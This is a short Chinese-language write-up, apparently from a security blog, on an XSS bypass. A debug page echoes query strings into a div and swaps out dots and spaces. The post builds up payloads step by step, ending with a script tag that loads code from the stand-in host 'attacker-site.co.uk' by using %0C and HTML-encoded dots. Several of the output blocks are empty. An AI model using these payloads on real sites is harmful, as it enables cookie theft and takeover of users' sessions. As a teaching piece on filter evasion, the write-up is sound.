无点XSS攻击
某次我发现一个网站将所有查询字符串和POST数据直接回显到<div>
标签中。
例如:example.php?monkey=banana
会输出:
|
|
这应该是用于调试目的。于是简单的XSS攻击即可生效:
example.php?<script>alert(1)</script>
输出:
|
|
我尝试输出当前cookie作为概念验证:
example.php?<script>alert(document.cookie)</script>
却得到:
|
|
发现下划线替换问题后,尝试使用访问器语法:
example.php?<script>alert(document['cookie'])</script>
结果被截断:
|
|
转而尝试远程加载脚本:
example.php?<script src="//attacker-site.co.uk/sc.js"></script>
遭遇字符替换:
|
|
最终解决方案:
- 使用
%0C
替代空格 - 对点号进行HTML编码
完整payload:
example.php?<script%0Csrc="//attacker-site.co.uk/sc.js"></script>
其百分号编码版本:
example.php?<script%0Csrc="//attacker-site%26%2346%3bco%26%2346%3buk/sc%26%2346%3bjs"></script>
成功执行结果:
|
|
浏览器实际解析为:
|
|